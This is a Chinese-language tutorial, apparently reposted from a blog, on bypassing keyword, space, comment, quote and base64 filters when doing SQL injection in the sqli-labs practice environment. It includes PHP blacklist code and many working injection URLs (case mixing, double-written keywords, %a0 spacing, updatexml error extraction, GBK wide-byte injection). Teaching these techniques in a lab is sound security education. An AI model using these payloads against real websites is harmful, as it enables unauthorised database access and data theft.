过滤规则产生的原因
前两篇举例了SQL注入Get请求/SQL注入Post请求的案例,都是因为程序要接收用户输入的变量或者URL传递的参数,并且参数或变量会被组成 SQL语句的一部分被执行。这些数据我们统称为外部数据,在安全领域有一条规则:一切外部数据是不可信任的。所以我们需要通过各种方式对数据进行检测和过滤。
扩展:PHP的过滤函数
preg_replace(mixed $pattern , mixed $replacement , mixed $subject)
$pattern: 匹配的正则表达式
$replacement: 用于替换的字符串戒字符串数组
$subject: 要查找替换的目标字符串戒字符串数组
SQL关键字符过滤(and、or、 union、select等)
绕过过滤关键字的方法
#过滤注释/*、--、#,过滤空格,过滤select,union关键字
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
1、大小写绕过
如果过滤器通过关键字进行过滤并没有识别大小写 ,通过使用大小写进行绕过,因为 SQL语句里不区分大小写的。
(1)SQL逻辑关键字绕过
#原始SQL语句
SELECT * FROM users WHERE id='1' LIMIT 0,1;
#SQL注入语句
SELECT * FROM users WHERE id='1' AnD 1=1 -- LIMIT 0,1;
(2)SQLselect、union关键字绕过
http://192.168.1.64/sqli-labs/Less-27/?id=0'%a0union%a0select%a01,database(),3%a0||%a0'1'='1
http://192.168.1.64/sqli-labs/Less-27/?id=0'%a0UNion%a0SELect%a01,database(),3%a0||%a0'1'='1
扩展:updatexml函数报错
http://192.168.1.64/sqli-labs/Less-27/?id=0'||%a0updatexml(1,concat(1,(SELect%a0database())),1)||%a0'1'='1
2、双写绕过
判断是否有关键字不分大小写过滤
http://192.168.1.64/sqli-labs/Less-25/?id=-1' or 1=1 --+
http://192.168.1.64/sqli-labs/Less-25/?id=-1' Or 1=1 --+
#不分大小写过滤掉and、or两个关键字,大小写绕过行不通,使用双写绕过
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
(1)SQL逻辑关键字绕过
http://192.168.1.64/sqli-labs/Less-25/?id=-1' OORr 1=1 --+
(2)SQLselect、union关键字绕过
http://192.168.1.64/sqli-labs/Less-27/?id=0'%a0||updatexml(1,concat(1,(selselectect user())),1)%a0||%a0'1'='1
3、关键字等价绕过
#不分大小写过滤掉and、or两个关键字,大小写绕过行不通,使用关键字等价绕过
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
# id=-1'使 SQL 语句报错并使用单引号进行闭合,然后拼接 || 执行 id=5最终--+单行注释SELECT * FROM users WHERE id='-1' || id=5 -- ' LIMIT 0,1 (即SELECT * FROM users WHERE id=5)
http://192.168.1.64/sqli-labs/Less-25/?id=-1' || id=5 --+
#SELECT * FROM users WHERE id='2' LIMIT 0,1
id=1 && id=2 都是 where 的一个条件,MySQL 在执行时会先执行 id=1,此时这条语句还没执行完成,因为其中还一个逻辑&&运算,因此再执行 id=2,最后执行完成后则返回结果,最后执行的是id=2,所以仅显示了 id=2 的记录
http://192.168.1.64/sqli-labs/Less-25/?id=1 && id=2
注释过滤(--+)
判断是否有注释过滤
#将#、--替换成空格
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
1、添加一个闭合方式来绕过
http://192.168.1.64/sqli-labs/Less-23/?id=1' or '
2、逻辑运算绕过
http://192.168.1.64/sqli-labs/Less-23/?id=-1' or '1'='1
去除空格过滤
#过滤or、and关键字,过滤\*、--、#注释,过滤空格,过滤\,使用%a0十六进制绕过空格过滤
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
1、ascii码转url编码
判断是否有空格过滤
#'unionselect1,2,database()||'1'='1' LIMIT 0,1' 空格全给过滤成“”
http://192.168.1.64/sqli-labs/Less-26/?id=-1' union select 1,2,database() || '1'='1
#http://192.168.1.64/sqli-labs/Less-26/?id=0'%a0union%a0select%a01,database(),3%a0||%a0'1'='1
http://192.168.1.64/sqli-labs/Less-26/?id=0'%a0union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271
单引号过滤
Mysql在使用GBK编码时,会认为两个字符为一个汉字。宽字节注入就是发生在PHP向 Mysql请求时字符集使用了GBK编码。例如addslashes()函数转义。
#addslashes() 函数在指定的预定义字符前添加反斜杠,用于过滤单引号
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
http://192.168.1.64/sqli-labs/Less-33/?id=\
#id 的参数传入代码层,就会在’前加一个\,由于采用的 URL 编码,所以产生的效果 是%df%5c%27, GBK 编码中,两个字符表示一个数字,所以%df 把%5c 吃掉形成 了一个汉字,后面就剩一个单引号,所以此时的单引号并没有被转义可以发挥效果。 宽字符注入的必要条件,第一个字符的 ASCII 码必须大于 128(使用ASCII扩展表)在https://blog.csdn.net/ttmice/article/details/50978054中查询
http://192.168.1.64/sqli-labs/Less-33/?id=-1%82' union select 1,user(),database()--+
base64解码过滤
PHP代码使用 base64_decode()函数进行解码过滤,如果不符合base64编码的将会被过滤掉
$cookee = base64_decode($cookee);
可以看到Cookie 是经过 base64加密的我们使用 burpsuite进行base64加密注入
使用burpsuite对\进行base64加密XA==
通过进行base64加密注入得到闭合方式双引号“
使用updatexml()函数进行报错注入
使用burpsuite进行base64编码注入获取当前数据库名
绕过过滤规则总结:
1、常用的过滤规则
(1)过滤关键字(or,and,union,select)
(2)过滤特殊字符()
(3)过滤空格
(4)过滤注释(/*,#,--)
(5)过滤单引号(addslashes())
(6)过滤明码数据(base64加密和解密)
2、对应的绕过技术进行SQL注入
(1)过滤关键字使用大小写绕过,双写绕过,等价绕过,URL编码绕过
(2)过滤特殊字符使用URL编码绕过
(3)过滤空格使用URL编码绕过
(4)过滤注释使用添加一个闭合方式绕过,逻辑运算绕过
(5)过滤单引使用宽字符绕过(前提PHP使用GBK编码)
(6)过滤明码数据使用burpsuite加密发送数据绕过
来源:oschina
链接:https://my.oschina.net/moziBlog/blog/3209519